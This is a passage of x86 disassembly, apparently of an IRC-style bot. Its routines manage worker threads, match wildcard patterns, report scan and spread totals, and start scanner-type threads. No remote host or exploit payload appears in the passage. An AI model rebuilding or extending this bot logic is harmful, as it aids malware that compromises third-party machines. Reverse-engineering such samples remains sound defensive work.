esi, 234h push edi push ebx push dword_43DEF4[esi] lea edi, dword_43DEF4[esi] call near ptr 269064Ah nop cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43DEE8[esi] mov dword_43DEE0[esi], ebx mov dword_43DEE4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEEC[esi] mov byte ptr dword_43DCE0[esi], bl mov byte_43DEF8[esi], bl push dword ptr [edi] call dword_4CB03C lea esi, dword_43DEF0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB03C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCE0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACE0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEE4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEE4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEE0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEE0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEE0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEE0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEF4[eax], ecx mov dword_43DEE0[eax], ecx mov dword_43DEE4[eax], ecx mov dword_43DEE8[eax], ecx mov dword_43DEEC[eax], ecx mov dword_43DEF0[eax], ecx mov byte ptr dword_43DCE0[eax], cl mov byte_43DEF8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317D4 push eax xor ebx, ebx call sub_41B886 cmp dword_431438, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431440 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_4317C8 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACE4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDAB0 mov ecx, dword_4CDAAC push esi push dword_4CACE4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDAB0 lea eax, [ebp+var_200] push dword_4CDAAC push offset unk_4317F4 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACE4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCF4 push offset unk_43183C push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431888 push eax call sub_41B886 cmp dword_431438, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431878 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACE4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFE4 xor edi, edi mov [ebp-8], eax cmp dword_431438, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431438 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318D8 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_4318A4 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0Dh, 50h db 2Dh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0F0[eax*8] call dword_4CB030 push eax lea eax, [ebp+var_200] push offset unk_431928 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_431908 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_431444[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD1AC push 104h push esi push ebx mov dword_4CD3BC, eax mov dword_4CD3B8, ebx nop call near ptr 2670000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CD2B0 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD1A8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD440, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD3C0 call sub_41B5F0 add esp, 0Ch mov dword_4CD444, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD3C0 call sub_41B5F0 add esp, 0Ch mov dword_4CD444, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD3BC push offset unk_42BE8C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD3B4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD1A8 push offset word_411796 push ebx push ebx call near ptr 2680000h nop mov ecx, dword_4CD3B4 imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD448, ebx jnz short loc_40BC23 push 32h nop call near ptr 2670F10h jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 26807C8h push eax lea eax, [ebp+var_204] push offset unk_431A48 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACE0 mov esi, offset dword_4CD454 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD664, eax mov dword_4CD660, ebx nop call near ptr 2670000h push 103h push edi push offset dword_4CD558 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD450, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6E8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD668 call sub_41B5F0 add esp, 0Ch mov dword_4CD6EC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD668 call sub_41B5F0 add esp, 0Ch mov dword_4CD6EC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD664 push offset unk_431A14 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD65C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD450 push offset byte_40E991 push ebx push ebx call near ptr 2680000h nop mov ecx, dword_4CD65C imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6F0, ebx jnz short loc_40BD47 push 32h call near ptr 2670F10h nop jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj nop call near ptr 26807C8h push eax lea eax, [ebp+var_204] push offset unk_4319E0 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43144C[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCEC cmp [ebp+arg_90], bl mov dword_4CD114, eax mov eax, [ebp+arg_110] mov dword_4CD108, eax mov eax, [ebp+arg_138] mov dword_4CD110, ebx mov dword_4CD198, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD118 call sub_41B5F0 add esp, 0Ch mov dword_4CD19C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD118 call sub_41B5F0 add esp, 0Ch mov dword_4CD19C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD114 lea eax, [ebp+var_204] push offset unk_4319B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD10C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD108 push offset byte_40E6EF push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CD10C imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD1A0, ebx jnz short loc_40BE6A push 32h nop call near ptr 2670F10h jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej call near ptr 26807C8h nop push eax lea eax, [ebp+var_204] push offset unk_431978 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431448[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD984 push 104h push esi push ebx nop call near ptr 2670000h push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA9C, ebx mov dword_4CDA88, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6FC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6F8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA88 mov dword_4CDA94, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA98, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BE14 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA90, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6F8 push offset sub_40F0D5 push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CDA90 imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDAA4, ebx jnz short loc_40BF92 push 32h call near ptr 2670F10h nop jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j nop call near ptr 26807C8h push eax lea eax, [ebp+var_204] push offset unk_431944 push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 